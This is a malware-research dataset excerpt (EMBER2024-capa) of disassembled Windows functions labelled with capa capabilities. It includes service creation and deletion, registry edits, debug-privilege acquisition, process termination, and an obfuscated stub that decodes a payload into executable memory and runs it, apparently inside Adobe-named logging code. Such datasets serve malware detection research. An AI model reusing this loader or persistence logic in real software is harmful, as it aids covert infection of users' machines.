joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d2d8
Capabilities:
Set registry value

Disassembly:
push ebx
add esp, 0xffffffe4
mov eax, dword [0x40d3e8]
mov dword [esp + 0x14], eax
mov eax, dword [0x40d3ec]
mov dword [esp + 0x18], eax
mov ebx, 8
push esp
push 0xf003f
push 0
push 0x40d3f0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
push 0x40d41c
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push 0x40d424
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [0x493c7c]
call fcn.00403e0c
push eax
mov eax, dword [esp + 0x24]
push eax
call sub.advapi32.dll_RegCreateKeyExA
push ebx
lea eax, [esp + 0x18]
push eax
push 1
push 0
push 0
mov eax, dword [esp + 0x20]
push eax
call sub.advapi32.dll_RegSetValueExA
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x10]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [0x493c7c]
call fcn.00403e0c
push eax
mov eax, dword [esp + 0x28]
push eax
call sub.advapi32.dll_RegCreateKeyExA
push ebx
lea eax, [esp + 0x18]
push eax
push 1
push 0
push 0
mov eax, dword [esp + 0x20]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0x1c
pop ebx
ret

Function at 0x40d42c
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe4
mov esi, eax
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
je 0x40d491
push ebx
call sub.advapi32.dll_LockServiceDatabase
mov edi, eax
push 0xf01ff
push esi
push ebx
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
je 0x40d485
push esp
push esi
call sub.advapi32.dll_QueryServiceStatus
cmp dword [esp + 4], 4
jne 0x40d479
push esp
push 1
push esi
call sub.advapi32.dll_ControlService
push esi
call sub.advapi32.dll_DeleteService
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
push edi
call sub.advapi32.dll_UnlockServiceDatabase
add esp, 0x1c
pop edi
pop esi
pop ebx
ret
Function at 0x40d4d8
Capabilities:
Delete registry key

Disassembly:
push ebx
add esp, 0xfffffff4
mov ebx, eax
push esp
push 0xf003f
push 0
push 0x40d564
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [esp + 4]
push eax
push 0xf003f
push 0
push 0x40d590
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
lea eax, [esp + 8]
push eax
push 0xf003f
push 0
push 0x40d598
mov eax, dword [esp + 0x10]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
push ebx
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_RegDeleteKeyA
push ebx
mov eax, dword [esp + 0xc]
push eax
call sub.advapi32.dll_RegDeleteKeyA
mov eax, dword [esp + 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [esp + 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0xc
pop ebx
ret

Function at 0x40d5a0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x40d64e
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x491d04], 2
je 0x40d5cd
mov eax, dword [0x493c7c]
call fcn.00403e0c
call fcn.0040d498
mov eax, dword [0x493c88]
call fcn.00403e0c
call fcn.0040d498
mov eax, dword [0x493c7c]
call fcn.00403e0c
call fcn.0040d4d8
lea edx, [ebp - 4]
mov eax, dword [0x493c8c]
call fcn.0040d230
mov eax, dword [ebp - 4]
call fcn.004052b0
xor ebx, ebx
mov eax, dword [0x493c78]
call fcn.0040ac50
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40d62a
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 0
push esi
call sub.kernel32.dll_TerminateProcess
cmp ebx, 0xffffffff
jne 0x40d602
push 2
call fcn.0040abbc
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d655
lea eax, [ebp - 4]
call fcn.00403a88
ret
Function at 0x40dae8
Capabilities:
Create service
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x40dc2e
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [0x493c7c]
call fcn.00403e0c
mov esi, eax
mov eax, dword [0x493c80]
call fcn.00403e0c
mov edi, eax
mov eax, dword [0x493c84]
call fcn.00403e0c
mov dword [ebp - 0xc], eax
lea edx, [ebp - 4]
xor eax, eax
call fcn.004027c0
cmp byte [0x491d04], 1
je 0x40db71
call fcn.00402760
test eax, eax
jle 0x40db71
push dword [ebp - 4]
push 0x40dc48
lea edx, [ebp - 0x1c]
mov eax, 1
call fcn.004027c0
push dword [ebp - 0x1c]
lea eax, [ebp - 4]
mov edx, 3
call fcn.00403ccc
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x18], 2
mov eax, esi
call fcn.0040d42c
call fcn.0040d2d8
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
je 0x40dc10
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403e0c
push eax
push 0
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
push 0xf01ff
push edi
push esi
push ebx
call sub.advapi32.dll_CreateServiceA
mov esi, eax
xor eax, eax
mov dword [ebp - 0x10], eax
test esi, esi
je 0x40dc0a
lea eax, [ebp - 0xc]
push eax
push 1
push esi
call fcn.0040d65c
cmp byte [0x491d04], 1
je 0x40dc00
lea eax, [ebp - 0x10]
push eax
push 0
push esi
call sub.advapi32.dll_StartServiceA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
jmp 0x40dc04
mov byte [ebp - 5], 1
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dc35
lea eax, [ebp - 0x1c]
call fcn.00403a88
lea eax, [ebp - 4]
call fcn.00403a88
ret

Function at 0x40dd60
Capabilities:
Acquire debug privileges

Disassembly:
mov eax, 0x40dd6c
call fcn.0040dcd8
ret

Function at 0x40dedc
Capabilities:
Write file on windows

Disassembly:
push ebx
add esp, 0xffffffec
mov ebx, eax
mov eax, dword [0x40df30]
mov dword [esp + 4], eax
mov byte [esp + 8], 0xff
call fcn.0040dda4
mov dword [esp + 9], eax
test bl, bl
je 0x40df07
mov dword [esp + 0xd], 0xfe
jmp 0x40df0f
mov dword [esp + 0xd], 0xff
push 0
lea eax, [esp + 4]
push eax
push 0xd
lea eax, [esp + 0x10]
push eax
mov eax, dword [0x491ac4]
push eax
call sub.kernel32.dll_WriteFile_1
add esp, 0x14
pop ebx
ret
Function at 0x40df34
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd98
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x264], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x258], eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40e14e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x114]
mov edx, 0x104
xor ecx, ecx
call fcn.00402c24
push 0x104
lea eax, [ebp - 0x114]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
lea eax, [ebp - 4]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.00403bf4
mov eax, dword [ebp - 4]
call fcn.00403c0c
test eax, eax
je 0x40e123
lea eax, [ebp - 4]
call fcn.00405634
lea eax, [ebp - 8]
mov ecx, 0x40e164
mov edx, dword [ebp - 4]
call fcn.00403c58
lea eax, [ebp - 4]
mov edx, 0x40e178
call fcn.00403c14
lea eax, [ebp - 0x254]
push eax
mov eax, dword [ebp - 4]
call fcn.00403e0c
push eax
call sub.kernel32.dll_FindFirstFileA
mov edi, eax
cmp edi, 0xffffffff
je 0x40e123
mov ebx, 0x411678
jmp 0x40e0ff
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x228]
mov ecx, 0x104
call fcn.00403bf4
mov esi, ebx
lea eax, [ebp - 0x258]
mov edx, esi
call fcn.00403bb8
mov eax, dword [ebp - 0x258]
call fcn.00403c0c
inc eax
add ebx, eax
lea eax, [ebp - 0x25c]
mov edx, esi
call fcn.00403bb8
mov eax, dword [ebp - 0x25c]
lea edx, [ebp - 0x10]
call fcn.00404f74
mov dl, 0x2a
mov eax, dword [ebp - 0x10]
call fcn.004055b8
test al, al
je 0x40e084
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403c0c
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x10]
call fcn.00403e64
lea eax, [ebp - 0x264]
push eax
mov eax, dword [ebp - 0x10]
call fcn.00403c0c
mov ecx, eax
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.00403e64
mov eax, dword [ebp - 0x264]
lea edx, [ebp - 0x260]
call fcn.00404f74
mov edx, dword [ebp - 0x260]
lea eax, [ebp - 0xc]
call fcn.00403b20
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
call fcn.00403d58
jne 0x40e0ff
lea eax, [ebp - 0x268]
lea edx, [ebp - 0x228]
mov ecx, 0x104
call fcn.00403bf4
mov ecx, dword [ebp - 0x268]
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00403c58
mov eax, dword [ebp - 0xc]
call fcn.004052b0
jmp 0x40e108
cmp byte [ebx], 0
jne 0x40e00f
lea eax, [ebp - 0x254]
push eax
push edi
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x40e005
push edi
call sub.kernel32.dll_FindClose
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e155
lea eax, [ebp - 0x268]
mov edx, 5
call fcn.00403aac
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00403aac
ret
Function at 0x40edc8
Capabilities:
Write file on windows

Disassembly:
push ebx
add esp, 0xffffffec
mov ebx, edx
mov edx, dword [0x40ee34]
mov dword [esp + 4], edx
mov byte [esp + 8], al
call fcn.0040dda4
mov dword [esp + 9], eax
mov dword [esp + 0xd], ebx
push 0
push 0x80
push 3
push 0
push 3
push 0x40000000
mov eax, dword [0x493c94]
call fcn.00403e0c
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40ee2c
push 0
lea eax, [esp + 4]
push eax
push 0xd
lea eax, [esp + 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
add esp, 0x14
pop ebx
ret
Function at 0x40d89d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40d8ac
pop dword [ebp - 0x28]
mov eax, 0x40d8ac
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xecb9d8
sub dword [ebp - 0x38], 0xb29a748d
mov dword [ebp - 0x34], 0xc0a8a623
add dword [ebp - 0x34], 0x718aa622
mov dword [ebp - 0x30], 0x35702bb7
add dword [ebp - 0x30], 0x16dc1877
mov dword [ebp - 0x2c], 0xc1245b4e
add dword [ebp - 0x2c], 0x3edba4b2
lea eax, [ebp - 0x38]
push eax
mov eax, 0xda98b446
add eax, 0x25b1bc66
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x7334cb42
add dword [ebp - 0x38], 0x13d9e14
mov dword [ebp - 0x34], 0xfce6db2d
add dword [ebp - 0x34], 0x44858648
mov dword [ebp - 0x30], 0x81a61c06
sub dword [ebp - 0x30], 0x1e36af9a
mov dword [ebp - 0x2c], 0x7ffd2677
add dword [ebp - 0x2c], 0x8002d989
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0xb78b2092
add eax, 0x48bf5102
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x5fda7
push 0
call eax
mov ecx, 0xc73e2c98
add ecx, 0x38c21b20
xor edi, edi
add edi, eax
mov edx, 0x8c48e747
add edx, 0x740450b9
add edx, dword [ebp - 0x28]
mov esi, 0x8984202b
sub esi, 0x9ac87632
mov ebx, dword [edx]
sub ebx, esi
add dword [ebp - 0x18], edx
mov dword [edi], ebx
xor dword [ebp - 0x14], 0x65e64b72
add edi, 4
add edx, 0xb31357fc
add edx, 0x4ceca808
loop 0x40d9cb
add eax, 0x97189c80
add eax, 0x68e87533
xor ebx, ebx
add ebx, eax
add eax, 0x574b1cf
sub eax, 0x574b1ca
mov ecx, 0x3aae08cc
add ecx, 0xc591f734
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x47046f
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push 0x2b4
mov eax, 0x4a12cd
call fcn.0049fa2f
mov ebx, ecx
push edx
mov edx, ebx
lea ecx, [ebp - 0x40]
call fcn.004707a0
pop ecx
xor edi, edi
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 4], edi
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
push ecx
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x28], edi
xor eax, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 1
cmp esi, 0xffffffff
je 0x47055f
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x58]
call fcn.0040d89d
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 2
push eax
mov edx, ebx
lea ecx, [ebp - 0x70]
call fcn.004707a0
mov edi, eax
lea eax, [ebp - 0x28]
pop ecx
cmp eax, edi
je 0x470507
mov ecx, eax
call fcn.0046d98d
push edi
lea ecx, [ebp - 0x28]
call fcn.0040d89d
lea ecx, [ebp - 0x70]
call fcn.0046d98d
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.0046d98d
test byte [ebp - 0x2c0], 4
jne 0x470542
lea ecx, [ebp - 0x28]
call fcn.0047078b
test al, al
jne 0x470542
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x4704cc
push esi
call dword [sym.imp.kernel32.dll_FindClose]
lea ecx, [ebp - 0x28]
call fcn.0046d98d
lea ecx, [ebp - 0x40]
call fcn.0046d98d
call fcn.0049f9de
ret
Function at 0x474827
Capabilities:
Get common file path

Disassembly:
push 0x278
mov eax, 0x4a1b42
call fcn.0049fa2f
mov ebx, ecx
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x284], ebx
mov eax, dword fs:[0x2c]
xor esi, esi
mov dword [ebp - 0x284], ebx
mov edi, 0x4cb420
mov ecx, dword [eax]
mov eax, dword [0x4cb41c]
cmp eax, dword [ecx + 4]
jle 0x4748a4
push 0x4cb41c
call fcn.0040d89d
cmp dword [0x4cb41c], 0xffffffff
pop ecx
jne 0x4748a4
push 0x4b9024
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.0040d89d
push 0x4a6680
call fcn.0040d89d
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x4cb41c
call fcn.0040d89d
pop ecx
cmp dword [0x4cb430], 0
jne 0x4749c5
push 0x20a
lea eax, [ebp - 0x21c]
push esi
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
call fcn.0040d89d
test al, al
je 0x474998
push str.LogSession
lea ecx, [ebp - 0x24c]
call fcn.0040d89d
lea ecx, [ebp - 0x24c]
mov dword [ebp - 4], 1
call fcn.00477e85
mov ebx, eax
lea ecx, [ebp - 0x264]
push 0x4adacc
mov eax, dword [ebx]
mov edi, dword [eax + 0x40]
call fcn.0040d89d
mov esi, eax
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 2
call fcn.0040d89d
push esi
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 3
push eax
mov ecx, edi
call dword [0x4a75c0]
mov ecx, ebx
call edi
lea ecx, [ebp - 0x234]
call fcn.0046a23d
lea ecx, [ebp - 0x264]
call fcn.0046a23d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.0046a23d
lea ecx, [ebp - 0x27c]
call fcn.00474779
mov esi, eax
mov edi, 0x4cb420
cmp esi, edi
je 0x474985
mov ecx, edi
call fcn.0046d98d
push esi
mov ecx, edi
call fcn.0040d89d
lea ecx, [ebp - 0x27c]
call fcn.0046d98d
mov ebx, dword [ebp - 0x280]
jmp 0x4749c5
lea eax, [ebp - 0x21c]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea ecx, [ebp - 0x21c]
mov eax, 0x4b9024
cmovne ecx, eax
push ecx
mov ecx, edi
call fcn.0040d89d
push edi
mov ecx, ebx
call fcn.004723ba
mov eax, ebx
call fcn.0049f9de
ret
Function at 0x476140
Capabilities:
Read data from internet
Receive data

Disassembly:
push 0x20
mov eax, 0x4a1e1c
call fcn.0049fa65
mov dword [ebp - 0x20], ecx
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], esi
push esi
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
mov eax, dword [ebp - 0x20]
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x476244
cmp dword [ebp - 0x14], 0
jbe 0x476242
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.0040d89d
pop ecx
mov ecx, dword [ebp - 0x14]
mov ebx, eax
inc ecx
mov dword [ebp - 0x18], ebx
push ecx
push esi
push ebx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
push ebx
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetReadFile]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
jne 0x4761c8
mov dword [ebp - 0x14], esi
jmp 0x4761da
cmp dword [ebp - 0x14], 0
jbe 0x4761da
push dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
push ebx
call fcn.0046a372
or dword [ebp - 4], 0xffffffff
jmp 0x47622e
push ebx
call fcn.0048844b
cmp dword [ebp - 0x14], 0
pop ecx
mov dword [ebp - 0x18], esi
ja 0x476157
test edi, edi
setne al
call fcn.0049f9ca
ret 4
Function at 0x47628a
Capabilities:
Check http status code

Disassembly:
push 0xa4
mov eax, 0x4a1e7b
call fcn.0049fa2f
mov edi, ecx
mov ebx, dword [ebp + 8]
xor eax, eax
push eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xac], 4
push eax
push 0x20000013
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
test eax, eax
je 0x4764e8
cmp dword [ebp - 0xa8], 0xc8
jne 0x4764e8
push 0
lea eax, [ebp - 0xa4]
push eax
push 0
push 0x16
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
mov eax, dword [ebp - 0xa4]
test eax, eax
je 0x4764e8
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040d89d
mov ecx, dword [ebp - 0xa4]
mov esi, eax
lea ecx, [ecx*2 + 2]
push ecx
push 0
push esi
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0x10
lea eax, [ebp - 0xa4]
push 0
push eax
push esi
push 0x16
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
test eax, eax
je 0x4764e8
push esi
lea ecx, [ebp - 0x28]
call fcn.0040d89d
and dword [ebp - 4], 0
push esi
call fcn.0048844b
mov esi, 0x4b9420
lea ecx, [ebp - 0x28]
push esi
call fcn.0040d89d
or edi, 0xffffffff
jmp 0x4764d4
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.0040d89d
push eax
push 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040d89d
push ecx
push 0x4b9428
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.0040d89d
cmp eax, edi
je 0x476477
push ecx
mov esi, 0x4b9428
lea ecx, [ebp - 0x40]
push esi
call fcn.0040d89d
push eax
push 0
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x40]
call fcn.0040d89d
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.0040d89d
push edi
push ecx
push esi
lea ecx, [ebp - 0x40]
call fcn.0040d89d
inc eax
lea ecx, [ebp - 0x40]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0040d89d
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 3
call fcn.0040d89d
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x88]
call fcn.0046ee68
mov esi, eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa0]
call fcn.0046ee68
push eax
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 5
push eax
mov ecx, ebx
call fcn.0040d89d
push esi
mov ecx, dword [eax]
add ecx, 0x28
call fcn.0040d89d
lea ecx, [ebp - 0xa0]
call fcn.0046a23d
lea ecx, [ebp - 0x88]
call fcn.0046a23d
lea ecx, [ebp - 0x58]
call fcn.0046d98d
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call fcn.0046d98d
mov esi, 0x4b9420
push edi
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.0040d89d
add eax, 2
lea ecx, [ebp - 0x28]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.0040d89d
mov esi, eax
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x4764ae
mov ecx, eax
call fcn.0046d98d
push esi
lea ecx, [ebp - 0x28]
call fcn.0040d89d
lea ecx, [ebp - 0x88]
call fcn.0046d98d
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.0046d98d
push ecx
mov esi, 0x4b9420
lea ecx, [ebp - 0x28]
push esi
call fcn.0040d89d
cmp eax, edi
jne 0x476386
lea ecx, [ebp - 0x28]
call fcn.0046d98d
mov al, 1
jmp 0x4764ea
xor al, al
call fcn.0049f9de
ret 4
Function at 0x477ae3
Capabilities:
Get common file path

Disassembly:
push 0x86c
mov eax, 0x4a224c
call fcn.0049fa2f
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x878], esi
push 0x802
xor ebx, ebx
mov dword [ebp - 0x878], esi
lea eax, [ebp - 0x814]
push ebx
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x814]
push eax
push ebx
push ebx
push 0x801a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x477c46
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x844]
call fcn.0040d89d
mov edx, edi
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x85c]
call fcn.0046ef25
push eax
mov edx, str.AdobeHeadlightsCCHLLog_
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x874]
call fcn.0040d89d
mov byte [ebp - 4], 5
mov ecx, eax
mov dword [esp], 0x4b9560
call fcn.0040d89d
push eax
lea ecx, [ebp - 0x82c]
mov dword [ebp - 0x82c], ebx
mov dword [ebp - 0x81c], ebx
mov dword [ebp - 0x818], ebx
call fcn.0040d89d
mov byte [ebp - 4], 6
lea eax, [ebp - 0x82c]
cmp dword [ebp - 0x818], 8
lea ecx, [ebp - 0x844]
push dword [ebp - 0x81c]
cmovae eax, dword [ebp - 0x82c]
push eax
call fcn.00472323
lea ecx, [ebp - 0x82c]
call fcn.0046d98d
lea ecx, [ebp - 0x874]
call fcn.0046d98d
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], bl
call fcn.0046d98d
lea edx, [ebp - 0x844]
lea ecx, [ebp - 0x85c]
call fcn.004711e9
mov ecx, eax
mov byte [ebp - 4], 7
call fcn.004708e3
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], 0
mov bl, al
call fcn.0046d98d
test bl, bl
je 0x477c37
lea edx, [ebp - 0x844]
mov ecx, esi
call fcn.0046ee68
lea ecx, [ebp - 0x844]
call fcn.0046d98d
jmp 0x477c52
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x844]
call fcn.0046d98d
push 0x4adacc
mov ecx, esi
call fcn.0040d89d
mov eax, esi
call fcn.0049f9de
ret

Function at 0x477c5a
Capabilities:
Get common file path

Disassembly:
push 0x83c
mov eax, 0x4a229b
call fcn.0049fa2f
mov esi, ecx
mov dword [ebp - 0x848], esi
push 0x802
xor ebx, ebx
mov dword [ebp - 0x848], esi
lea eax, [ebp - 0x814]
push ebx
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x814]
push eax
push ebx
push ebx
push 0x801a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x477d2d
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x82c]
call fcn.0040d89d
push 0x20
push str.AdobeRTTransferRTDebugLog.txt
lea ecx, [ebp - 0x82c]
mov dword [ebp - 4], ebx
call fcn.00472323
lea edx, [ebp - 0x82c]
lea ecx, [ebp - 0x844]
call fcn.004711e9
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.004708e3
lea ecx, [ebp - 0x844]
mov byte [ebp - 4], 0
mov bl, al
call fcn.0046d98d
test bl, bl
je 0x477d1e
lea edx, [ebp - 0x82c]
mov ecx, esi
call fcn.0046ee68
lea ecx, [ebp - 0x82c]
call fcn.0046d98d
jmp 0x477d39
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x82c]
call fcn.0046d98d
push 0x4adacc
mov ecx, esi
call fcn.0040d89d
mov eax, esi
call fcn.0049f9de
ret